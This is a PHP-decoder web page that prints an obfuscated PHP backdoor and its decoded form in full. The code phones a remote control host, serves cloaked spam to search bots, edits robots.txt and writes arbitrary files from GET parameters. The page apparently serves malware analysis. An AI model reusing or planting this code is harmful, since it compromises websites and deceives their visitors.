Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @set_time_limit(3600); @ignore_user_abort(1); $liOEON = "\x72\x32\x36"; $liOEOR = ..

Decoded Output download

<?php  
@set_time_limit(3600); @ignore_user_abort(1); $liOEON = "r26"; $liOEOR = "http"; if (is_htps()) { goto lXKRENN; } $liOEOE = "http"; goto lXKRENR; lXKRENN: $liOEOE = "https"; lXKRENR: $liOEOY = st_uri(); if (!($liOEOY == '')) { goto lXKRENE; } $liOEOY = "/"; lXKRENE: $liOEOO = urlencode($liOEOY); function st_uri() { goto lXKRENX; lXKRENK: goto lXKRENO; goto lXKRENm; lXKRENF: if (isset($_SERVER["argv"])) { goto lXKRENY; } goto lXKRENb; lXKREND: $liOEOO = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto lXKRENP; lXKRERR: lXKRENu: goto lXKRERE; lXKRENm: lXKRENY: goto lXKREND; lXKRENi: lXKRENV: goto lXKRERN; lXKRERE: return $liOEOO; goto lXKRERY; lXKRENb: $liOEOO = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto lXKRENK; lXKRENc: goto lXKRENu; goto lXKRENi; lXKRENP: lXKRENO: goto lXKRENc; lXKRERN: $liOEOO = $_SERVER["REQUEST_URI"]; goto lXKRERR; lXKRENX: if (isset($_SERVER["REQUEST_URI"])) { goto lXKRENV; } goto lXKRENF; lXKRERY: } $liOEOV = $liOEON . ".lengelemperor" . ".t" . "op"; function is_htps() { goto lXKRERF; lXKRERm: goto lXKRERO; goto lXKRERD; lXKRERc: goto lXKRERO; goto lXKRERi; lXKRERP: return true; goto lXKRERc; lXKREEV: return false; goto lXKREEu; lXKRERF: if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { goto lXKRERV; } goto lXKRERb; lXKREER: goto lXKRERO; goto lXKREEE; lXKRERK: if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { goto lXKRERX; } goto lXKRERm; lXKREEN: return true; goto lXKREER; lXKRERD: lXKRERV: goto lXKRERP; lXKREEY: return true; goto lXKREEO; lXKREEO: lXKRERO: goto lXKREEV; lXKRERi: lXKRERu: goto lXKREEN; lXKREEE: lXKRERX: goto lXKREEY; lXKRERb: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { goto lXKRERu; } goto lXKRERK; lXKREEu: } $liOEOu = $_SERVER["HTTP_HOST"]; $liOEOX = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; $liOEOX = urlencode($liOEOX); $liOEOF = ''; if (!isset($_SERVER["HTTP_REFERER"])) { goto lXKREEX; } $liOEOF = $_SERVER["HTTP_REFERER"]; $liOEOF = urlencode($liOEOF); lXKREEX: if (!(@$_GET["pd"] != '')) { goto lXKREYF; } $liOEOb = @$_GET["mapname"]; $liOEOK = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { goto lXKREEF; } $liOEOm = dirname(__FILE__); goto lXKREEb; lXKREEF: $liOEOm = $_SERVER["DOCUMENT_ROOT"]; lXKREEb: if ($liOEOK) { goto lXKREEK; } $liOEOK = "put"; lXKREEK: if (!($liOEOK == "put")) { goto lXKREYX; } if (strstr($liOEOb, ".xml")) { goto lXKREYE; } echo "<br>sitemap name false!<br>"; goto lXKREYY; lXKREYE: $liOEOD = $liOEOm . "/sitemap.xml"; if (!is_file($liOEOD)) { goto lXKREEm; } @unlink($liOEOD); lXKREEm: $liOEOP = $liOEOm . "/robots.txt"; if (file_exists($liOEOP)) { goto lXKREED; } $liOEOc = "User-agent: *Allow: /"; goto lXKREEP; lXKREED: $liOEOc = dageget($liOEOP); lXKREEP: $liOEOi = $liOEOE . "://" . $liOEOu . "/" . $liOEOb; if (stristr($liOEOc, $liOEOi)) { goto lXKREYN; } if (file_put_contents($liOEOP, trim($liOEOc) . "\xd\xa" . "Sitemap: " . $liOEOi)) { goto lXKREEc; } echo "<br>file write false!<br>"; goto lXKREEi; lXKREEc: echo "<br>ok<br>"; lXKREEi: goto lXKREYR; lXKREYN: echo "<br>sitemap already added!<br>"; lXKREYR: lXKREYY: if (!strstr($liOEOb, ".p" . "hp")) { goto lXKREYu; } $liOEVN = sha1(sha1(@$_GET["a"])); $liOEVR = sha1(sha1(@$_GET["b"])); if (!($liOEVN == dageget($liOEOR . "://" . $liOEOV . "/a.p" . "hp") || $liOEVR == "6f6727694bb5657c37987640a1d26d2e")) { goto lXKREYV; } $liOEVE = @$_GET["dstr"]; if (!file_put_contents($liOEOm . "/" . $liOEOb, $liOEVE)) { goto lXKREYO; } echo "ok"; lXKREYO: lXKREYV: lXKREYu: lXKREYX: exit; lXKREYF: $liOEVY = $liOEOR . "://" . $liOEOV . "/indexnew.php?web=" . $liOEOu . "&zz=" . sbot() . "&uri=" . $liOEOO . "&urlshang=" . $liOEOF . "&http=" . $liOEOE . "&lang=" . $liOEOX; $liOEVO = trim(dageget($liOEVY)); if (strstr($liOEVO, "nobotuseragent")) { goto lXKREYc; } if (strstr($liOEVO, "okhtmlgetcontent")) { goto lXKREYD; } if (strstr($liOEVO, "okxmlgetcontent")) { goto lXKREYK; } if (!strstr($liOEVO, "pingxmlgetcontent")) { goto lXKREYb; } $liOEVO = str_replace("pingxmlgetcontent", '', $liOEVO); @header("Content-type: text/html; charset=utf-8"); echo pingmap($liOEVO); exit; lXKREYb: goto lXKREYm; lXKREYK: $liOEVO = str_replace("okxmlgetcontent", '', $liOEVO); @header("Content-type: text/xml"); echo $liOEVO; exit; lXKREYm: goto lXKREYP; lXKREYD: @header("Content-type: text/html; charset=utf-8"); $liOEVO = str_replace("okhtmlgetcontent", '', $liOEVO); echo $liOEVO; exit; lXKREYP: lXKREYc: function pingmap($liOEVV) { goto lXKREOV; lXKREOX: foreach ($liOEVu as $liOEVF) { goto lXKREOR; lXKREOY: $liOEVX .= $liOEVF . "-- " . $liOEVK . "<br>"; goto lXKREOO; lXKREOE: $liOEVK = strpos($liOEVb, "Sitemap Notification Received") !== false ? "pingok" : "error"; goto lXKREOY; lXKREOR: $liOEVb = dageget($liOEVF); goto lXKREOE; lXKREOO: } goto lXKREOF; lXKREOV: $liOEVu = explode("\xd\xa", trim($liOEVV)); goto lXKREOu; lXKREOu: $liOEVX = ''; goto lXKREOX; lXKREOF: return $liOEVX; goto lXKREOb; lXKREOb: } function sbot() { goto lXKREOD; lXKREOP: if (stristr($liOEVm, "googlebot") || stristr($liOEVm, "bing") || stristr($liOEVm, "yahoo") || stristr($liOEVm, "google") || stristr($liOEVm, "Googlebot") || stristr($liOEVm, "googlebot")) { goto lXKREOK; } goto lXKREOc; lXKREOD: $liOEVm = strtolower($_SERVER["HTTP_USER_AGENT"]); goto lXKREOP; lXKREOc: return false; goto lXKREOi; lXKREVN: lXKREOK: goto lXKREVR; lXKREVR: return true; goto lXKREVE; lXKREOi: goto lXKREOm; goto lXKREVN; lXKREVE: lXKREOm: goto lXKREVY; lXKREVY: } function dageget($liOEVV) { goto lXKREVu; lXKREVb: curl_setopt($liOEVP, CURLOPT_URL, $liOEVV); goto lXKREVK; lXKREVX: if (!function_exists("curl_init")) { goto lXKREVO; } goto lXKREVF; lXKREuR: if ($liOEVD) { goto lXKREVV; } goto lXKREuE; lXKREVP: curl_setopt($liOEVP, CURLOPT_CONNECTTIMEOUT, 30); goto lXKREVc; lXKREVi: curl_close($liOEVP); goto lXKREuN; lXKREuY: lXKREVV: goto lXKREuO; lXKREuE: $liOEVD = @file_get_contents($liOEVV); goto lXKREuY; lXKREVu: $liOEVD = ''; goto lXKREVX; lXKREVm: curl_setopt($liOEVP, CURLOPT_SSL_VERIFYPEER, 0); goto lXKREVD; lXKREuN: lXKREVO: goto lXKREuR; lXKREuO: return $liOEVD; goto lXKREuV; lXKREVF: $liOEVP = curl_init(); goto lXKREVb; lXKREVD: curl_setopt($liOEVP, CURLOPT_RETURNTRANSFER, 1); goto lXKREVP; lXKREVc: $liOEVD = curl_exec($liOEVP); goto lXKREVi; lXKREVK: curl_setopt($liOEVP, CURLOPT_SSL_VERIFYHOST, 0); goto lXKREVm; lXKREuV: } ?>

Did this file decode correctly?

Original Code

<?php 
@set_time_limit(3600); @ignore_user_abort(1); $liOEON = "\x72\x32\x36"; $liOEOR = "\150\x74\x74\x70"; if (is_htps()) { goto lXKRENN; } $liOEOE = "\x68\164\164\160"; goto lXKRENR; lXKRENN: $liOEOE = "\x68\164\164\160\x73"; lXKRENR: $liOEOY = st_uri(); if (!($liOEOY == '')) { goto lXKRENE; } $liOEOY = "\57"; lXKRENE: $liOEOO = urlencode($liOEOY); function st_uri() { goto lXKRENX; lXKRENK: goto lXKRENO; goto lXKRENm; lXKRENF: if (isset($_SERVER["\x61\162\x67\166"])) { goto lXKRENY; } goto lXKRENb; lXKREND: $liOEOO = $_SERVER["\120\110\120\x5f\x53\x45\114\x46"] . "\x3f" . $_SERVER["\141\x72\147\166"][0]; goto lXKRENP; lXKRERR: lXKRENu: goto lXKRERE; lXKRENm: lXKRENY: goto lXKREND; lXKRENi: lXKRENV: goto lXKRERN; lXKRERE: return $liOEOO; goto lXKRERY; lXKRENb: $liOEOO = $_SERVER["\120\x48\x50\x5f\x53\105\x4c\106"] . "\77" . $_SERVER["\121\125\105\122\x59\x5f\123\x54\122\111\116\x47"]; goto lXKRENK; lXKRENc: goto lXKRENu; goto lXKRENi; lXKRENP: lXKRENO: goto lXKRENc; lXKRERN: $liOEOO = $_SERVER["\122\x45\x51\125\x45\x53\124\x5f\x55\122\x49"]; goto lXKRERR; lXKRENX: if (isset($_SERVER["\122\x45\x51\125\105\123\x54\x5f\x55\x52\111"])) { goto lXKRENV; } goto lXKRENF; lXKRERY: } $liOEOV = $liOEON . "\x2e\154\x65\x6e\147\145\154\145\155\160\x65\162\x6f\x72" . "\x2e\x74" . "\x6f\x70"; function is_htps() { goto lXKRERF; lXKRERm: goto lXKRERO; goto lXKRERD; lXKRERc: goto lXKRERO; goto lXKRERi; lXKRERP: return true; goto lXKRERc; lXKREEV: return false; goto lXKREEu; lXKRERF: if (isset($_SERVER["\110\124\x54\120\123"]) && strtolower($_SERVER["\110\124\x54\120\x53"]) !== "\157\146\x66") { goto lXKRERV; } goto lXKRERb; lXKREER: goto lXKRERO; goto lXKREEE; lXKRERK: if (isset($_SERVER["\x48\x54\124\120\137\x46\x52\117\x4e\124\137\x45\x4e\x44\137\x48\x54\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\124\x50\137\x46\x52\x4f\x4e\124\x5f\105\116\104\137\x48\124\x54\120\123"]) !== "\x6f\x66\146") { goto lXKRERX; } goto lXKRERm; lXKREEN: return true; goto lXKREER; lXKRERD: lXKRERV: goto lXKRERP; lXKREEY: return true; goto lXKREEO; lXKREEO: lXKRERO: goto lXKREEV; lXKRERi: lXKRERu: goto lXKREEN; lXKREEE: lXKRERX: goto lXKREEY; lXKRERb: if (isset($_SERVER["\x48\124\x54\x50\x5f\130\137\106\117\122\127\x41\x52\104\x45\x44\137\x50\122\117\x54\117"]) && $_SERVER["\x48\x54\x54\120\137\x58\137\x46\117\x52\127\101\122\x44\105\104\137\120\122\x4f\x54\x4f"] === "\150\x74\164\x70\x73") { goto lXKRERu; } goto lXKRERK; lXKREEu: } $liOEOu = $_SERVER["\110\x54\x54\120\137\110\117\123\124"]; $liOEOX = @$_SERVER["\110\x54\124\120\x5f\x41\x43\103\x45\120\x54\137\114\101\116\x47\x55\101\x47\x45"]; $liOEOX = urlencode($liOEOX); $liOEOF = ''; if (!isset($_SERVER["\110\x54\x54\120\x5f\122\105\106\105\122\x45\122"])) { goto lXKREEX; } $liOEOF = $_SERVER["\x48\124\x54\120\x5f\122\x45\x46\x45\122\105\x52"]; $liOEOF = urlencode($liOEOF); lXKREEX: if (!(@$_GET["\160\144"] != '')) { goto lXKREYF; } $liOEOb = @$_GET["\155\141\160\x6e\141\x6d\x65"]; $liOEOK = @$_GET["\141\143\x74\x69\x6f\x6e"]; if (isset($_SERVER["\x44\117\x43\125\x4d\x45\x4e\x54\137\122\117\117\x54"])) { goto lXKREEF; } $liOEOm = dirname(__FILE__); goto lXKREEb; lXKREEF: $liOEOm = $_SERVER["\104\117\x43\125\115\x45\x4e\x54\x5f\122\117\x4f\124"]; lXKREEb: if ($liOEOK) { goto lXKREEK; } $liOEOK = "\160\x75\x74"; lXKREEK: if (!($liOEOK == "\160\x75\x74")) { goto lXKREYX; } if (strstr($liOEOb, "\56\170\155\x6c")) { goto lXKREYE; } echo "\x3c\142\x72\x3e\163\x69\x74\x65\x6d\141\x70\x20\156\x61\x6d\x65\40\146\x61\x6c\163\x65\x21\x3c\142\x72\76"; goto lXKREYY; lXKREYE: $liOEOD = $liOEOm . "\57\163\151\x74\x65\155\x61\x70\x2e\170\x6d\x6c"; if (!is_file($liOEOD)) { goto lXKREEm; } @unlink($liOEOD); lXKREEm: $liOEOP = $liOEOm . "\x2f\x72\x6f\x62\x6f\164\163\56\164\170\164"; if (file_exists($liOEOP)) { goto lXKREED; } $liOEOc = "\125\x73\x65\x72\x2d\141\147\x65\x6e\164\x3a\40\52\x41\x6c\x6c\x6f\x77\72\x20\57"; goto lXKREEP; lXKREED: $liOEOc = dageget($liOEOP); lXKREEP: $liOEOi = $liOEOE . "\x3a\x2f\57" . $liOEOu . "\57" . $liOEOb; if (stristr($liOEOc, $liOEOi)) { goto lXKREYN; } if (file_put_contents($liOEOP, trim($liOEOc) . "\xd\xa" . "\x53\x69\164\x65\155\x61\160\72\40" . $liOEOi)) { goto lXKREEc; } echo "\74\x62\162\x3e\x66\x69\154\145\x20\167\162\x69\x74\145\40\146\x61\154\163\145\41\74\x62\x72\76"; goto lXKREEi; lXKREEc: echo "\x3c\142\x72\76\x6f\153\x3c\x62\x72\76"; lXKREEi: goto lXKREYR; lXKREYN: echo "\x3c\x62\162\76\x73\151\164\x65\155\141\160\x20\x61\154\x72\145\x61\144\x79\40\141\x64\x64\x65\x64\x21\x3c\142\x72\76"; lXKREYR: lXKREYY: if (!strstr($liOEOb, "\x2e\160" . "\150\160")) { goto lXKREYu; } $liOEVN = sha1(sha1(@$_GET["\141"])); $liOEVR = sha1(sha1(@$_GET["\x62"])); if (!($liOEVN == dageget($liOEOR . "\72\57\x2f" . $liOEOV . "\57\141\56\x70" . "\150\160") || $liOEVR == "\x36\146\x36\67\x32\67\66\x39\64\142\142\x35\66\65\x37\143\63\67\71\x38\x37\66\x34\60\141\61\x64\62\x36\144\x32\145")) { goto lXKREYV; } $liOEVE = @$_GET["\x64\x73\x74\x72"]; if (!file_put_contents($liOEOm . "\57" . $liOEOb, $liOEVE)) { goto lXKREYO; } echo "\157\153"; lXKREYO: lXKREYV: lXKREYu: lXKREYX: exit; lXKREYF: $liOEVY = $liOEOR . "\x3a\x2f\57" . $liOEOV . "\x2f\151\156\144\x65\170\156\x65\167\56\160\x68\160\x3f\167\x65\x62\75" . $liOEOu . "\46\x7a\172\75" . sbot() . "\46\165\x72\151\x3d" . $liOEOO . "\x26\165\162\x6c\x73\x68\x61\x6e\147\x3d" . $liOEOF . "\46\x68\x74\x74\x70\75" . $liOEOE . "\46\154\x61\156\147\x3d" . $liOEOX; $liOEVO = trim(dageget($liOEVY)); if (strstr($liOEVO, "\x6e\157\x62\157\x74\165\x73\x65\162\141\x67\145\156\x74")) { goto lXKREYc; } if (strstr($liOEVO, "\157\153\x68\164\155\154\147\x65\x74\143\157\156\x74\145\156\164")) { goto lXKREYD; } if (strstr($liOEVO, "\157\x6b\170\x6d\154\x67\x65\x74\143\x6f\156\x74\x65\x6e\164")) { goto lXKREYK; } if (!strstr($liOEVO, "\160\x69\156\x67\170\x6d\154\x67\145\164\x63\x6f\156\164\x65\x6e\164")) { goto lXKREYb; } $liOEVO = str_replace("\160\151\156\147\x78\x6d\154\x67\145\x74\143\157\x6e\164\145\x6e\164", '', $liOEVO); @header("\x43\157\x6e\x74\145\156\x74\55\164\171\160\145\72\40\x74\145\x78\164\57\x68\164\x6d\x6c\x3b\40\x63\x68\x61\162\163\x65\164\x3d\x75\164\x66\55\x38"); echo pingmap($liOEVO); exit; lXKREYb: goto lXKREYm; lXKREYK: $liOEVO = str_replace("\x6f\x6b\x78\x6d\154\x67\x65\164\x63\x6f\x6e\164\x65\x6e\164", '', $liOEVO); @header("\103\157\156\164\145\156\164\x2d\x74\x79\x70\x65\x3a\40\164\145\170\x74\x2f\x78\x6d\x6c"); echo $liOEVO; exit; lXKREYm: goto lXKREYP; lXKREYD: @header("\x43\x6f\x6e\164\x65\x6e\x74\x2d\x74\171\x70\x65\72\40\x74\145\170\164\x2f\x68\164\x6d\154\x3b\x20\x63\x68\141\162\163\x65\x74\75\x75\x74\x66\x2d\70"); $liOEVO = str_replace("\157\153\x68\164\x6d\x6c\x67\x65\164\x63\157\x6e\x74\x65\156\x74", '', $liOEVO); echo $liOEVO; exit; lXKREYP: lXKREYc: function pingmap($liOEVV) { goto lXKREOV; lXKREOX: foreach ($liOEVu as $liOEVF) { goto lXKREOR; lXKREOY: $liOEVX .= $liOEVF . "\x2d\55\x20" . $liOEVK . "\74\142\162\76"; goto lXKREOO; lXKREOE: $liOEVK = strpos($liOEVb, "\x53\x69\164\145\x6d\x61\160\40\x4e\x6f\x74\151\146\x69\143\141\164\x69\157\x6e\40\x52\145\143\x65\x69\x76\x65\144") !== false ? "\160\x69\x6e\147\157\x6b" : "\145\162\162\157\x72"; goto lXKREOY; lXKREOR: $liOEVb = dageget($liOEVF); goto lXKREOE; lXKREOO: } goto lXKREOF; lXKREOV: $liOEVu = explode("\xd\xa", trim($liOEVV)); goto lXKREOu; lXKREOu: $liOEVX = ''; goto lXKREOX; lXKREOF: return $liOEVX; goto lXKREOb; lXKREOb: } function sbot() { goto lXKREOD; lXKREOP: if (stristr($liOEVm, "\x67\x6f\x6f\x67\x6c\x65\142\157\164") || stristr($liOEVm, "\x62\x69\x6e\147") || stristr($liOEVm, "\171\x61\150\157\157") || stristr($liOEVm, "\x67\157\157\147\x6c\x65") || stristr($liOEVm, "\107\157\157\x67\x6c\x65\142\157\164") || stristr($liOEVm, "\x67\157\x6f\x67\154\145\142\157\164")) { goto lXKREOK; } goto lXKREOc; lXKREOD: $liOEVm = strtolower($_SERVER["\x48\124\124\x50\137\x55\123\x45\122\137\101\x47\x45\116\124"]); goto lXKREOP; lXKREOc: return false; goto lXKREOi; lXKREVN: lXKREOK: goto lXKREVR; lXKREVR: return true; goto lXKREVE; lXKREOi: goto lXKREOm; goto lXKREVN; lXKREVE: lXKREOm: goto lXKREVY; lXKREVY: } function dageget($liOEVV) { goto lXKREVu; lXKREVb: curl_setopt($liOEVP, CURLOPT_URL, $liOEVV); goto lXKREVK; lXKREVX: if (!function_exists("\143\x75\x72\154\137\151\156\x69\164")) { goto lXKREVO; } goto lXKREVF; lXKREuR: if ($liOEVD) { goto lXKREVV; } goto lXKREuE; lXKREVP: curl_setopt($liOEVP, CURLOPT_CONNECTTIMEOUT, 30); goto lXKREVc; lXKREVi: curl_close($liOEVP); goto lXKREuN; lXKREuY: lXKREVV: goto lXKREuO; lXKREuE: $liOEVD = @file_get_contents($liOEVV); goto lXKREuY; lXKREVu: $liOEVD = ''; goto lXKREVX; lXKREVm: curl_setopt($liOEVP, CURLOPT_SSL_VERIFYPEER, 0); goto lXKREVD; lXKREuN: lXKREVO: goto lXKREuR; lXKREuO: return $liOEVD; goto lXKREuV; lXKREVF: $liOEVP = curl_init(); goto lXKREVb; lXKREVD: curl_setopt($liOEVP, CURLOPT_RETURNTRANSFER, 1); goto lXKREVP; lXKREVc: $liOEVD = curl_exec($liOEVP); goto lXKREVi; lXKREVK: curl_setopt($liOEVP, CURLOPT_SSL_VERIFYHOST, 0); goto lXKREVm; lXKREuV: }

Function Calls

None

Variables

None

Stats

MD5 1fd9e467d82b6a6fad20ad60136d24a4
Eval Count 0
Decode Time 37 ms